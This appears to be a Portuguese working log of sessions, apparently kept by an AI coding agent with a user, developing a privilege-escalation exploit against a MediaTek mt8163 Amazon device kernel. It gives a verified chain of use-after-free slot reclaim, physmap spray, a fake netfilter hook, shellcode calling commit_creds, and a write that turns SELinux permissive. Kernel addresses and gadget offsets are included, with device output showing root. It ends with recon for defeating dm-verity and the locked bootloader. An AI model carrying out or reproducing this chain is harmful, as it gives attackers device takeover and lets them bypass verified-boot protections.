  2. Portanto gpu_alloc deve apontar para memória de KERNEL com uma cadeia de runtime sobrevivível: K=*(S+0x38) legível, *(K+0x1429c)==0 em runtime (pula mm-atomics), K+0x141c8 gravável, D=*(K+4) → D+0x538 gravável, nents *(S+8) preferencialmente 0. Os 9 S-candidatos offline foram validados contra bytes de ARQUIVO — drift de runtime (init de xfrm/tracepoint) os torna não verificados. Cadeia errada = crash = reboot (~3 min de ciclo).

Planos da sessão-6 (ambos totalmente especificados)

A. Fake via spray de physmap (ret2dir, arm32 clássico sem-PAN): sprayar ~450MB de páginas de usuário cada uma contendo o padrão fake preparado para UM endereço adivinhado G (G&0xfff = 0x141 para bytes de nome sem NUL; S=G; K=G-0x141b4 para K+4 cair in-page; K+0x141c8/+0x1429c → G+0x10/+0xd4 in-page; D=G+0x300; stores sub-0 perdidos atingem RAM mapeada aleatória - inofensivo com nents=0). O spray também serve como pressão de evicção (anon sujo = não-evitável → só ~100-200MB extra necessários). Probabilidade ≈ 45% (hit de página) × ~50% (palavra K+0x1429c estrangeira é zero... se K+0x1429c mantido in-page pelo layout acima, probabilidade = apenas hit-de-página). Erro = crash = reboot, retry. B. Força bruta nos 9 S-candidatos estáticos (xfrm 0xc118b7ec primeiro, adjacente-a-tracepoint 0xc111cba4 segundo...): 1 reboot por candidato, payload de oráculo benigno primeiro, arma no hit. C. G exato baseado em pagemap (morto: PFNs mascarados) — não revisitar.

SESSÃO 5D — fake de physmap construído; varredura-G 0/3; confounds eliminados

Estabelecido nesta sessão (tudo verificado em binário/dispositivo)

  • Identidade de cache CONFIRMADA igual: região = kmem_cache_alloc_trace( kmalloc_caches[7], GFP|0x8000, 0x48) [disasm de kbase_alloc_free_region]; evento = __kmalloc(89, GFP) → kmalloc-96. Eventos e regiões PODEM compartilhar o cache da vítima. (MEMCG off; conjunto único de cache.)
  • fila inotify: ≥5000 eventos mantidos, sem overflow, sem colapso por merge (execuções qmeas 1000 & 5000) — o spray de eventos persiste
  • iso2 (spray de physmap + trailing de região + oráculo): HIT — o spray de physmap NÃO quebra o reclaim de região; maquinário sólido
  • eventos vs reclaim de regiões: regiões 3/3 (iso, iso2, estágio-2), eventos 0/10 MAS as 3 execuções pmap são explicadas por erros-de-G a 0.3-0.45 de probabilidade cada (P(3 erros|eventos-funcionam) ≈ 0.2-0.3 — não conclusivo)
  • modo mix confundido: spray de 480MB sufoca renames pós-kill (+0); 350MB OK (+4452); threads girando em rename-falho também perturbam o reclaim de região (mix crashou, iso2 limpo)
  • query_commit retorna -1 em EINVAL também — instrumentado; EINVAL observado = miss de lookup na rbtree = genuinamente liberado ✓ (não falso positivo)

Design atual do pmap (em stage3.c, modo pmap/mix/iso2)

  • G preparado em cada página sprayada (offset 0x2a4): nents@+0x2ac=0, evict self@+0x2bc/0x2c0, K=G+0x100@+0x2dc, D=G+0x200@+0x3a8; K+0x141c8/-0x1429c caem ~20 páginas acima (store sub-0 inofensivo / leitura deve ser 0-ou-válida). PM_SPRAY_MB 350, varredura-G tentada: c2a412a4, c2f4b2a4, c2a7d2a4 — todas crasham no deref
  • sanidade do range physmap: RAM 1GB → physmap ~0xc0000000-0xc3fffffff; carveouts MTK (GPU/M4U/secure) podem ocupar pedaços — minas terrestres de G

TODO da sessão-6 (ranqueado)

  1. Extrair a fonte completa do kernel (tarball de 2.2GB em ~/Desktop/amazon-mustang/ — platform.tar): obter arch/arm + mm/ + drivers/of + mapeamentos reservados MTK → computar o mapa de carveout → mirar G em subranges de physmap de RAM verificada; também verificar geometria do cache kmalloc (ARCH_KMALLOC_MINALIGN!) e o bit GFP 0x8000
  2. Varredura-G com palpites informados por posicionamento (múltiplos reboots, variar tamanho do spray para descorrelacionar)
  3. Se a varredura-G esgotar: reconsiderar payload multi-G ou S-candidatos de estáticos plausíveis em runtime (campos de ponteiro adjacentes a uts falharam: NULL-K)

SESSÃO 6 — descoberta do zram, extração de fonte, questão dos eventos ainda aberta### Código-fonte completo do kernel agora extraído

/tmp/opencode/ksrc2/kernel/mediatek/mt8163/4.9/ (arch/arm incl. mustang.dtsi, mm/, fs/eventpoll.c, fs/notify) de ksrc/platform.tar. Descobertas:

  • bit GFP 0x8000 = ___GFP_ZERO (apenas kzalloc; sem divisão de cache)
  • kmalloc-96 é um cache verdadeiro de 96 bytes (sem HWCACHE_ALIGN nos caches kmalloc)
  • mustang.dtsi: nó de memória 0x40000000/512MB — estendido pelo preloader (dispositivo mostra MemTotal 977MB); CONFIG_VMSPLIT_3G, HIGHMEM=y
  • zram0 ATIVO (SwapCached > 0) → "anon sujo = inevictável" estava ERRADO: o spray do physmap é trocado sob pressão → o alias G fica obsoleto → adicionado physmap_retouch() após o kill (faulta todas as páginas do spray de volta antes do trailing/deref)

Execuções desta sessão (todas com O_SYNC registrado, ~6 reboots)

Veredito sobre eventos (Bayesiano, honesto)

Regiões reclaim: 3/3. Eventos: 0/~12 tentativas incluindo 28K alocações exclusivas com vantagem inicial e fake correto por construção. Se eventos reclaim com p_hit(G)≈0.35, cinco erros de pmap ≈ 11.6% — possível mas agora improvável (~10-15%). Ou os eventos estruturalmente não conseguem ocupar este slot (motivo desconhecido — mesmo cache, mesmo contexto, mesmo timing) ou nossos palpites de G estão sistematicamente errando (desvio de fronteira highmem, posicionamento do alocador).

Árvore de decisão da sessão 7

  1. Resolver G primeiro (barato, sem exploit): instrumentar temporariamente o fluxo ISO2 — trailing de região + oráculo — mas fazer o PAYLOAD do evento ser um fake de physmap e verificar se QUALQUER G em um intervalo varrido produz uma mudança de nodename sem regiões competindo (pmap puro, varredura de G sobre ~0xc1500000-0xc2a00000 centro de lowmem, 1 G por reboot, 4-5 reboots)
  2. Se a varredura de G se esgotar → eventos declarados mortos → caçar alocadores alternativos de kmalloc-96 de bytes brutos alcançáveis a partir do shell (auditoria: seq_file, tty ldisc, fdtable, sk_filter (bloqueado: campo de código em +0x38), netlink nlmsg (skb ✗), keys (negado)) — ou revisitar primitivas de região em dois estágios (análise negativa até agora)
  3. Considerar desbloqueio de UART/ramoops via root depois; não perseguir

SESSÃO 7 — bombas na cmdline; mistério dos eventos agora precisamente delimitado

CONFIG_CMDLINE do mustang_defconfig (verdade absoluta para posicionamento):

vmalloc=496M slub_max_order=0 slub_debug=O loglevel=8 initcall_debug

  1. vmalloc=496M → physmap = 0xc0008000..~0xc2080000 APENAS (520MB baixos da RAM) — TODOS os palpites anteriores de G (0xc2a4xxxx+) estavam no ESPAÇO VMALLOC. Toda conclusão de "erro de G" das sessões 5D/6 é invalidada; a interpretação do crash se mantém mas a varredura estava apontada para o mapa errado.
  2. slub_max_order=0: todas as páginas de slab são order-0
  3. KMALLOC_MIN_SIZE = ARCH_KMALLOC_MINALIGN = 64 (L1_CACHE_SHIFT 6) → os casos especiais de kmalloc_index() para 96/192 estão DESABILITADOS → região kzalloc(0x48=72) → caches[7]; evento __kmalloc(89) → caches[7] (disasm + include/linux/slab.h:287 verificado) — AMBOS no cache mesclado de 128 bytes "kmalloc-128/96". Identidade do cache: RE-CONFIRMADA igual.
  4. zram ativo → substituído o spray de physmap anônimo por kbm_spray: 160 × regiões MEM_ALLOC de 2MB de kbase (GFP_KERNEL → ZONE_NORMAL → somente lowmem, fixado → imune a zram), padrão escrito via mmap de CPU — intervalo correto, ~65% de cobertura de lowmem

Execuções (O_SYNC registrado)

  • kbm + G=0xc16412a4: crash no deref (+4831 renames)
  • kbm + G=0xc1c4b2a4 @200MB: SEM evicção (query=16 — calibração de pressão varia com spray fixado; livre legal, sobreviveu)
  • kbm + G=0xc1c4b2a4 @400MB: evicção ✓, +4053 renames, crash no deref
  • Registro de G em intervalo válido: 0/2. Se eventos funcionam com ~65% de cobertura: P(2 erros) ≈ 12%. Questão ainda em aberto mas mais estreita do que nunca.

A questão, forma final

Regiões ocupam o slot da vítima 3/3; eventos 0/13. Mesmo cache (provado em nível de código-fonte + disasm), mesmo contexto de processo, mesmas cpus fixadas, mesmo timing pós-kill, milhares de alocações com vantagem inicial exclusiva. Mecanismo desconhecido. Suspeitos restantes: correlação de taxa/frequência de alocação com rotação de lista parcial (ioctls de região ~1ms de intervalo vs renames de evento ~100µs de intervalo — direções opostas?), ou detalhes de ordenação da freelist do SLUB sob slub_max_order=0 que favorecem... incerto.

TODO da sessão 8

  1. Experimento de nível de instrumentação: DUAS variantes de payload de evento com valores N/P DIFERENTES alternando (dois conjuntos de nomes) — se o nodename alguma vez mudar, o ÚLTIMO vencedor é identificado; varrer G em [0xc1200000..0xc2000000] com spray kbm, orçamento de 3-4 reboots
  2. Se ainda 0/N: abandonar eventos. Alternativas classificadas: a. arrays pipe_buf via F_SETPIPE_SZ(4096 → 1 buf? não — 16 bufs = kcalloc(16, 28)=448→512 ✗) — morto b. auditar fs/notify + fs para outros objetos kmalloc-128 que carregam nome/dados (eventos fanotify? mq desligado; fanotify precisa de grupos...) c. buffers seq_file (kmalloc(PAGE_SIZE) ✗) d. filtros de sock (colisão de campo de código em +0x38 ✗) e. aceitar o reclaim do tipo região + encadear um SEGUNDO bug/técnica
  3. Reexaminar POR QUE as regiões vencem — talvez instrumentar via múltiplos jit ids: N slots pendentes, corrida região-vs-evento por slot, oráculo detecta qual spray ocupou qual slot → impressão digital estatística do mecanismo

SESSÃO 8 — ESCRITA ARBITRÁRIA ALCANÇADA NO DISPOSITIVO; mistério do dispatch permanece

O MARCO```

[+] uname.nodename="X?lhost" (was "localhost") <<< ORACLE HIT

root@kitploit:~
**A cadeia completa de bytes brutos funciona no dispositivo ativo**: o evento recupera o
slot da região liberada → kbase_jit_free desreferencia nosso falso (S=página physmap do
spray kbm, G=0xc154b2a4) → o unlink executa nossas duas escritas.
Verificado repetidamente com o payload benigno (escrita em nodename).

### Cadeia de descobertas da sessão
1. As páginas kbm eram GFP_HIGHUSER → HIGHMEM, invisíveis ao physmap
   (mali_kbase_mem_pool.c:164!) — corrigido pelo transbordamento de zonelist: spray de
   260 × 2MB > highmem-free → o excedente cai em ZONE_NORMAL (physmap)
2. As primeiras tentativas de arma travaram: o alvo W1 N+4 era uma página USER —
   o unlink roda em ctx kworker (sem mm) → fault. Corrigido embutindo o shellcode
   ring-0 DENTRO do padrão physmap em page+0x600 (direct map RWX em
   arm32 non-LPAE) — código residente no kernel, sem necessidade de ret2usr
3. Bug de offset do ctl_table: proc_handler está em entry+0x14, não +0x18 (o
   scan original estava certo; meu define estava errado) — estava escrevendo extra1
4. Regressão por sobrepressão encontrada e revertida: orçamento kid 20×100MB +
   trailing de 10s quebrou o reclaim; a config que funciona é 2 kids/200MB +
   5s/+3200 trailing (benigno acertou 1/1 após reverter)
5. **diag2: W2 → &pid_max global (0xc1114d7c) → a leitura retorna nosso valor
   (-1055861411 = 0xc110d55d como int32) — escrita + readback PROVADOS**

### O mistério restante (a um experimento de ser fechado)
diag1 com o endereço CORRETO do handler (0xc1113f3c): W1 dispara (nodename
muda), W2 deve ter executado (próxima instrução) — ainda assim as leituras de pid_max
retornam valores limpos → o campo handler que escrevemos não é aquele
pelo qual o inode despacha. diag3 (na fila; precisa de um boot com hit): W2 →
campo entry->data (0xc1113f2c) apontando para nodename — se a leitura então
mostrar nodename-bytes-as-int, nossa entry ESTÁ viva e apenas o offset do handler
está de algum modo errado; se não afetado, o inode usa uma cópia shadow da tabela
e caçamos a viva.

### Realidade da taxa de acerto
Cara ou coroa por boot (~25-40%), agrupado; vários boots safe-miss/crash
em sequência é normal. Aproximadamente 1 em 3-4 boots é um hit. Mantenha a config
que funciona EXATAMENTE (2 kids, 5s trailing, kbm de 260 regiões, G=0xc154b2a4).

### TODO da Sessão-9
1. Completar diag3 em um boot com hit (rolar até "W1 FIRED")
2. Se entry viva: re-checar o offset do handler empiricamente (escrever
   o endereço de proc_dostring como handler via... N deve ser igual a um valor
   útil — usar o unlink para escrever entry->data em vez disso e pivotar: por exemplo,
   data=selinux_enforcing-adjacente...)
3. Se tabela shadow: localizar a viva — kallsyms não tem símbolos de dados;
   candidatos: escanear o comportamento de /proc/sys, ou encontrar uma segunda região
   ctl_table via o padrão de lista de headers em .data (entries com stride de 0x20
   com handler=proc_dointvec_minmax e maxlen=4 — enumerar TODAS e
   diag-escrever cada uma)
4. Classe de alvo alternativa que evita o dispatch inteiramente: ponteiros de função
   em .data chamados de caminhos alcançáveis pelo shell (auditoria necessária)
5. A primitiva de escrita em si está PRONTA — qualquer alvo confiável de endereço
   de kernel agora basta para root

## SESSÃO 9 — nf-WEAPON: reclaim+unlink+G-hit PROVADOS NA ARMA; resta apenas a caminhada do hook

### O novo design de trigger (substitui inteiramente o caminho do handler sysctl)
A ideia do usuário traduzida para memória de kernel: sem arquivo SUID (o sistema é
dm-verity RO; a primitiva escreve na RAM do kernel). Em vez disso: **hook netfilter
falso**. Este kernel tem o backport Android-common da NOVA
API nf_hook_entries, mas implementada como LISTA ENCADEADA (verificado por
disasm de nf_hook_slow + helper 0xc09897d4):
- `__ip_local_out(net, sk, skb)` carrega a CÉLULA de entries de
  **[net+0x58c]**, armazena em state+0x1c, chama nf_hook_slow
- caminhada: `entry = *cell`; while(entry){ if (state->[4] <= entry->[0x20])
  call entry->[0xc](entry->[0x14], skb, state); entry = entry->[0]; }
  — ou seja, **fn@entry+0x0c, priv@entry+0x14, priority@entry+0x20,
  next@entry+0x00**; state+4 = limiar INT_MIN (sempre passa)
- init_net = **0xc1104548** (CONFIG_NET_NS=n → sock_net() inlineia a
  constante; 6678 refs movw/movt, campeão do histograma; confirmado de forma cruzada pelo
  próprio literal de nf_hook_slow). ALVO: **[init_net+0x58c] = 0xc1104ad4**
- O hook LOCAL_OUT roda no contexto do processo EMISSOR → o commit_creds(prepare_kernel_cred(0))
  do nosso hookfn dá root ao processo que enviou o
  pacote. Trigger = sendto(127.0.0.1:9) UDP.

### Layout do modo nf (poc/stage3.c, modo `nf 200`)
- páginas de padrão kbm (relativas à página, fonte única de verdade — a antiga
  arma tinha TRÊS bugs agora corrigidos: proc_handler@+0x14 não +0x18; alvo W1
  deve ser memória de KERNEL (ctx kworker, sem mm); código embutido em
  page+0x600 vs entry G+0x600=page+0x8a4 incompatíveis):
  - +0x2ac/+0x2bc/+0x2c0/+0x2dc/+0x3a8: cadeia phy-alloc falsa (inalterada)
  - +0x600: hookfn nf_code (store de marcador + prepare_kernel_cred +
    commit_creds + return NF_ACCEPT(1))
  - +0x700: entry falsa {next=0, fn=PM_PAGE+0x600, priv=0, prio=0x100}
  - +0x740: cell → PM_PAGE+0x700
- payload: N = PM_PAGE+0x740 (0xc154b740), P = 0xc1104ad4
  → W1: *(cell+4)=P (cai na nossa página), W2: *(init_net+0x58c)=cell

### Instrumentação AUTODIAGNOSTICÁVEL (kbm_scan_for)
Os mapeamentos de CPU do kbm são mantidos; após o free escaneamos cada página
sprayada em busca de uma palavra conhecida:
- scan(HOOKS_PTR_ADDR) em page+0x744 → prova reclaim + unlink + revela
  qual página física sustenta o palpite de G
- scan(0x600d600d) em page+0x7f0 → prova que o hookfn EXECUTOU
  (nf_code escreve este marcador como sua 2ª ação)

### A EXECUÇÃO QUE IMPORTA (2026-09-11, fim da sessão 9)```
[+] W1 CONFIRMED: region 135 page+0x185000 <- 0xc1104ad4 (reclaim + G hit!)
[+] nf trigger done, uid=2000 euid=2000

A cadeia completa de armas disparou em um boot real: o evento recuperou o slot, o fake executou, o unlink executou, a página G-guess (0xc154b000) era genuinamente nossa (região 135 página 389). W2 = *(0xc1104ad4)=cell é a instrução adjacente — ela deve ter executado. No entanto, o UDP sendto não nos deu root → a falha está DENTRO do caminho do hook: semântica do walk, encanamento de [state+0x1c], comparação de prioridade, ou os campos de entrada. (O experimento com marcador para discriminar hookfn-executou-vs-não foi adicionado; apenas boots com crash antes do fim da sessão — ainda sem dados limpos.)

Aprendizados de hit-rate / estado de boot (conquistados a duras penas)

  • CONFIGURAÇÃO FUNCIONAL (não mexer): 2 kids × 100MB pressão escalonada, 100×50ms/+3200 renames finais, spray kbm de 260×2MB, G=0xc154b2a4, pré-drenagem ~5000 renames
  • Sobre-pressão (20 kids / 10s finais) QUEBRA a recuperação — revertido
  • O assentamento do boot importa: execuções lançadas imediatamente após boot_completed competem com as alocações de inicialização do sistema → sequências frias; assente 60-90s após o boot antes de executar
  • "W1 não disparou" (checagem de nodename) é SEM SENTIDO para payload nf — W1 escreve na nossa página; use kbm_scan_for em vez disso
  • Boots com crash-no-free ≈ slot lixo ou conversões de G-miss; o controle benigno (pmap 200) é a verificação de sanidade do ambiente (4/4 acertos quando quente; crash-miss quando frio)
  • Diretórios /data/local/tmp/.w* são limpos no início da execução (diretórios acumulados degradam a recuperação)

TODO da Sessão-10 (árvore de decisão, em ordem)

  1. Executar nf 200 em boots com atraso de assentamento até que a linha W1-CONFIRMED apareça, então ler a linha MARKER: a. marcador PRESENTE, uid!=0 → as creds do shellcode falharam (verificar endereços prepare_kernel_cred/commit_creds; codificações blx) b. marcador AUSENTE → o walk nunca nos chamou: verificar com um SEGUNDO marcador escrito por... próximos diagnósticos: hookfn que APENAS escreve o marcador e retorna 1 (sem creds) — se ainda ausente:
    • dumpar nossos bytes de entrada reais via o mapeamento da CPU imediatamente antes do trigger (eles são nossos para ler!)
    • verificar se [init_net+0x58c] é sequer consultado: usar a escrita para em vez disso corromper algo observável (ex.: apontá-lo para uma cell cujo *cell = entrada com fn = uma função do kernel como kfree → crash imediato no trigger = o campo É consultado)
    • re-verificar o offset 0x58c: talvez hooks_ipv4[NF_INET_LOCAL_OUT] esteja em um índice diferente (NF_INET_POST_ROUTING=4?)
  2. Se o walk nos chamar: corrigir creds → root → então o plano do usuário: setenforce 0; cp /system/bin/sh /data/local/tmp/su; chown root; chmod 6755; verificar ls -la; deixar arquivos marcadores
  3. Persistência (pós-root): patch da imagem de boot via /dev/block/by-name/boot
    • desabilitar dm-verity, ou estilo Magisk; su apenas em /data é uid0-no- domínio-shell após reboot (SELinux enforcing novamente) — setenforce 0 é apenas em runtime
  4. Notas de limpeza: processos st3 pausados têm estado kctx corrompido — matar apenas via reboot; o hijack nf quebra hooks LOCAL_OUT para todo o tráfego — reboot após root para restaurar

Adições de assets desta noite

  • modos de poc/stage3.c: pin/root/drain{,2,3,4,5}/iso — arma completa + oráculo + harness de isolamento, forense de ponto de crash com O_SYNC
  • infraestrutura userland-fake (ufake_prep) — MANTER mas só utilizável se um caminho de deref inline de contexto for algum dia encontrado
  • tools/: análise offline de vmlinux kdis/scan_s/resolve/dumpb/findsysctl

SESSÃO 10 — ROOT ALCANÇADO (2026-09-11)

Os três bugs que estavam bloqueando a arma-nf, todos corrigidos

  1. init_net errado: 0xc1104548 é __stack_chk_guard (o histograma movw/movt foi poluído por cargas do stack-canary — 2025 construiu todo o plano nf sobre ele). init_net real = 0xc1185040 (confirmado: ip_send_skb(net,...) chamado com este literal; ~994 refs todas na pilha de rede). Cell IPv4 LOCAL_OUT = init_net+0x58c = 0xc11855cc.
  2. Bug de deref duplo: nf_iterate trata [init_net+0x58c] como o próprio ponteiro nf_hook_ops — ele lê fn@+0xc, priv@+0x14, prio@+0x20 diretamente desse valor. A entrada fake da sessão-9 vivia em PM_PAGE+0x700 com a cell apontando para ela (campos next/ não usados na cell → → crash). A entrada fake DEVE viver (0xc154b740). Com isso corrigido, a chamada do hook foi provada (modo = SAFE_FN processa todos os 200 sendtos limpidamente).

A muralha do SELinux e o bypass de 2 pacotes

commit_creds(prepare_kernel_cred(0)) / override_creds(&init_cred) dá uid 0 mas cai no SID SELinux kernel, que esta política do Fire OS não permite escrever em /data ou /sys/fs/selinux/enforce (verificado: EACCES). O SID real de init (7) também é negado (teste com struct cred fake). enforcing_setup é __init (liberado → crash). O atomic_sub de mark_reclaim precisa de nents=1 o que quebra a saída antecipada de shrink_cpu_mapping.

A vitória: o processo do exploit mantém os mapeamentos de CPU do kbm, então a entrada nf fake pode ser reescrita no lugar entre pacotes:

  • modo selroot: entrada = {fn=0xc01d503c (mov r3,#0;str r3,[r0];bx lr), priv=0xc1213ea8 (selinux_state.enforcing)}.
  • Pacote 1: *(enforcing)=0 → SELinux Permissive.
  • Reescrever a entrada via kbm_cpu[reg]+off para {fn=commit_creds, priv=&init_cred}.
  • Pacote 2: commit_creds(&init_cred) na task do remetente → uid 0 com um SELinux permissivo → root utilizável, tudo em uma única recuperação, sem necessidade de cadeia.

Verificado no dispositivo (2026-09-11)```

[+] W1 CONFIRMED: region 67 page+0xad000 <- 0xc11855cc (reclaim + G hit!) [*] sendto 0 -> -1 errno=1 uid=0 euid=0 [+] nf trigger done, uid=0 euid=0 <<< HOOK RAN - commit_creds OK [+] ROOT: uid=0 euid=0 [+] setenforce write=1 [+] su copied bytes=236220

root@kitploit:~
- `getenforce` → **Permissive**; st3 pausado é `Uid: 0 0 0 0`,
  `CapEff: 3fffffffff`.
- `/data` está montado como **nosuid**, então um `su` setuid não pode funcionar. Um pequeno
  `rootshell` (envia UDP → `commit_creds` em si mesmo → `execl sh`) fornece um
  shell root interativo: `uid=0(root) context=u:r:kernel:s0`.
- Root pode ler/escrever `/dev/block/by-name/*` (`dd if=boot ...` OK).

### Estado do código do Estágio 3 (`poc/stage3.c`)
- modos: `nf <mb> [probe|uprobe|oc|chain|fc <sid>|notrig|selroot]`
- `selroot` é a arma funcional. Estáticos-chave: `init_net=0xc1185040`,
  `HOOKS_PTR_ADDR=0xc11855cc`, `ENFORCING_ADDR=0xc1213ea8`,
  `ZERO_GADGET=0xc01d503c`, `commit_creds=0xc014993c`,
  `init_cred=0xc1114f54`.
- Pós-exploit são syscalls diretas (sem `system()`); mantenha o kctx vivo
  (`pause()`) para evitar crash de teardown.

### Restante (Estágio 4/5)
- Persistência entre reinicializações (verity / imagem de boot / recovery), já que o sequestro
  de célula + SELinux permissivo são apenas em runtime e reexecutar o exploit exige
  o coin flip de ~1/3 de reclaim.
- `su` precisará de um home não-nosuid (`/system`) ou de um launcher que reative.

## SESSÃO 11 — RECON DE PERSISTÊNCIA (Track B + Track A) e a transferência de RE

O objetivo era root persistente. Duas trilhas foram definidas:
- **Track B**: desabilitar o boot verificado (dm-verity / SELinux) para que `/system` possa ser patchado.
- **Track A**: reexecutar o exploit no boot.

Ambas se reduzem ao mesmo bloqueio: **fazer o LK tratar o dispositivo como `eng`/`unlocked`.**

### Fatos do boot verificado (build exata)
- Bootloader travado, AVB `green`, `ro.boot.unlocked_kernel=false`, `ro.boot.secure_cpu=1`,
  `rpmb_state=1`. Bootrom patchado (sem BROM); preloader apenas via CMD short.
- `/system` é montado pelo **Android dm-verity a partir da cmdline do kernel construída pelo lk**:
  `root=/dev/dm-0 dm="system none ro,0 1 android-verity PARTUUID=b6404ef3-… "`,
  `veritykeyid=id:f3530e18f64d11fc25eb2dd762979f078de990bf`, `androidboot.veritymode=eio`,
  `skip_initramfs` (system-as-root). `dm-0` = dispositivo verity chamado `system`; `dm-1` = `/vendor`.
- LK: Amazon **UFBL**, `ro.boot.lk_version=0x0006`, build `0db73c9-20231025_030009`;
  preloader `pl_version=0x000a`, build `80c6fcb-20230523_065640`. `/dev/block/by-name/lk` = mmcblk0p5 (1 MB).
- GPT completa (16 partições, sem `persist`/`seccfg`/`nvram`/`protect`/`para`):
  `proinfo` p0, `PMT` p1, `kb` p2, `dkb` p3, `lk` p4, `tee1` p5, `tee2` p6, `metadata` p7,
  `MISC` p8, `reserved` p9, `boot` p10, `recovery` p11, `system` p12, `vendor` p13,
  `cache` p14, `userdata` p15. eMMC boot0 (1 MB) = preloader (magic `EMMC_BOOT`);
  boot1 (4 MB) = armazenamento IDME.

### Achados estáticos do LK (UFBL)
Cabeçalho do `lk.img`: `88 16 88 58 | 00052974 | "LK"`; tabela de vetores ARM em 0x200, restante Thumb-2,
position-independent/relocado (literal pools usam `ldr+add pc`, então disasm ingênuo relativo à base falha).
Strings relevantes (offsets de arquivo): `amzn_image_verify`, `amzn_verify_unlock`, `amzn_verify_code_internal`,
`unlock_code`, `unlock code error`, `unlock failed`, `$Common Kernel Signing Engineering CA0`,
`seccfg`, `para`, `ENV_v1`, `LK_ENV`, `Kfos_flags`/`Kdev_flags`/`Kusr_flags`/`Kunlock_code`/`Kunlock_version`,
`FOS_FLAGS_{NONE,ADB_ON,ADB_ROOT,CONSOLE_ON,RAMDUMP_ON,VERBOSITY_ON,ADB_AUTH_DISABLE,FORCE_DM_VERITY,DM_VERITY_OFF,BOOT_DEXOPT}`,
`[DM-VERITY] verify for system(root) is enabled`, `[DM-VERITY] verify off by fos_flags`,
`[DM-VERITY] disabled by fos_flags on eng devices or unlocked device`,
`[SELINUX] set to permissive mode by dev_flags`, `androidboot.prod=1|0`, `androidboot.unlocked_kernel=%s`.
**Conclusão: o LK condiciona os efeitos de segurança de `fos_flags`/`dev_flags` a eng/unlocked.**

### Armazenamento IDME (eMMC **boot1**) — gravável, persistente, lido pelo LK e pelo Android
- Magic `beefdeed` + `"2.1\0"` + count(0x19=25) em 0x0; itens a partir de 0x10.
- Formato do item: `char name[16]; u32 size; u32 type(=1); u32 magic(=0x124); u8 data[size] (pad4)`.
- Offsets dos itens (pristinos): `board_id@0x10 serial@0x3c mac_addr@0x68 mac_sec@0x94 bt_mac_addr@0xd0
  bt_mfg@0xfc product_name@0x198 productid@0x1d4 productid2@0x210 region@0x24c bootmode@0x26c
  postmode@0x28c bootcount@0x2ac manufacturing@0x2d0 unlock_code@0x4ec sensorcal@0x908 alscal@0x9c4
  KB@0xa00 DKB@0x1e1c device_type_id@0x2238 dev_flags@0x2274 fos_flags@0x2298 usr_flags@0x22bc
  wifi_mfg@0x22e0 unlock_version@0x26fc`. Os valores são ASCII (flags são **strings hex**).
- Leitura em runtime: `/proc/idme/<name>` (somente leitura). Valores do último boot ficam em cache; uma escrita em boot1 tem
  efeito no próximo boot. O caminho de escrita exige limpar `/sys/block/mmcblk0boot1/force_ro` (root).
- **Confirmado que o LK lê boot1**: alterar `serial` mudou `ro.boot.serialno` no próximo boot.
  Mas o LK **trunca serial para 16 bytes** e ignorou `fos_flags=0x80`, `dev_flags=0xff`,
  all-ones, etc. — verity/selinux/`prod` inalterados. Então injeção de cmdline via serial falha.

### Consumidores dos flags IDME no lado Android
- `/init.fosflags.sh` (serviço `fosflags`, `u:r:fosflags:s0`): `FOS_FLAGS_ADB_ON=0x1`,
  `CONSOLE_ON=0x4`, `RAMDUMP_ON=0x8`, `VERBOSITY_ON=0x10`, `ADB_AUTH_DISABLE=0x20`,
  `BOOT_DEXOPT=0x100`. Verificado: definir flags tem efeito (`sys.usb=adb`, `noadbauth=1`).
- **adbd** (ARM ET_EXEC não stripped; `.text` VA 0x8160 / arquivo 0x160; fileoff = VA-0x8000):
  - `amzn_is_root_allowed` @0x2d5b8 = `amzn_is_dev_unlocked() && (fos_flags & 0x2)`
  - `amzn_is_adb_auth_disable_allowed` @0x2d5e8 = `fos_flags & 0x20` (sem gate)
  - `amzn_is_dev_unlocked` @0x2d5fc = `/proc/cmdline` contém `androidboot.prod=0` **ou**
    `androidboot.unlocked_kernel=true`
  - `fos_read_debug_flags` @0x2d724 lê `/proc/idme/<name>` e faz parse **hex**
  - `restart_root_service` @0xcb74 / `restart_unroot_service` @0xcc64
  - strings: `amzn_fos: ADB: Auto-root succeeded`, `… eng_device=%d`, `… unlocked_kernel=%d`,
    `adbd cannot run as root in production builds`, `ro.debuggable`
  - `adb root` → "cannot run as root in production builds" (`ro.debuggable=0`) — então mesmo com o
    gate de auto-root satisfeito, a checagem de prod do AOSP condiciona o caminho do comando.

### Por que o root da Sessão 10 não persiste
- SELinux permissivo + sequestro de célula + root são apenas em runtime.
- `/data/metrics` é uma **vpartition**: `/system/bin/vpartition.sh` monta `/data/vp/metrics.img`
  (ext4, non-nosuid/noexec) em `/data/metrics` a cada boot; `su` escrito lá **não**
  sobrevive a reinicialização. (Também é por isso que o `su` setuid deu uid 0 mas **zero caps**.)

### Track A (reexploit no boot) — bloqueado
- Nenhum trigger `.rc` do init executa código controlável (imports todos verificados; triggers `persist.*` apenas
  `start` serviços fixos; scripts em `/system`/`/vendor`).
- Serviços root leem configs de `/data` mas nunca executam a partir delas (`perfmonitord`, `amazonfiled`,
  `vpartition.sh`, `kisd`, …).
- Único executor no boot = um **app**, mas o footprint pausado do exploit é **VmRSS 534 MB**
  (spray `kbm`) → lmkd o mata; além disso, um reclaim perdido causa panic (`PANIC_ON_OOPS`) → bootloop.
- **Auto-root do adbd** existe mas é condicionado à cmdline construída pelo LK (`prod=0`/`unlocked_kernel=true`).

### Conclusão / próximo alvo (escolhido: RE do Track B)
Tudo depende de fazer o LK reportar `eng`/`unlocked`. Ao alcance:
`androidboot.prod=1|0` e `androidboot.unlocked_kernel=false` são definidos pelo LK. Reverter o LK para encontrar:
1. onde ele lê `fos_flags`/`dev_flags`/`usr_flags` (os itens `K*`) e o gate exato;
2. a determinação de `prod`/`unlocked` (item IDME? buildvariant? resultado de `amzn_verify_unlock`?);
3. `amzn_verify_unlock` (verificação RSA libtomcrypt) para um bypass ou um caminho fraco de unlock_code/version;
4. o armazenamento `seccfg`/`para`/`ENV_v1`(LK_ENV) (não está em nenhuma partição dumpada — talvez protegido por tee);
5. preloader (`boot0`, `EMMC_BOOT`) para um bug.
Se qualquer um destes nos permitir definir eng/unlocked (persistentemente, via boot1 ou escrita em partição bruta), então
`FOS_FLAGS_DM_VERITY_OFF` desabilita o verity de system(root) e `/system` pode ser patchado persistentemente.

### Artefatos (desta sessão)
`/tmp/opencode/mustang-dumps/` (pode ser limpo no reboot do host): `lk.img`, `boot1.img` (pristino),
`boot.img`, `MISC.img`, `metadata*.img`, `pmt.img`, `mbr.img`, `kb.img`, `dkb.img`, `reserved.img`,
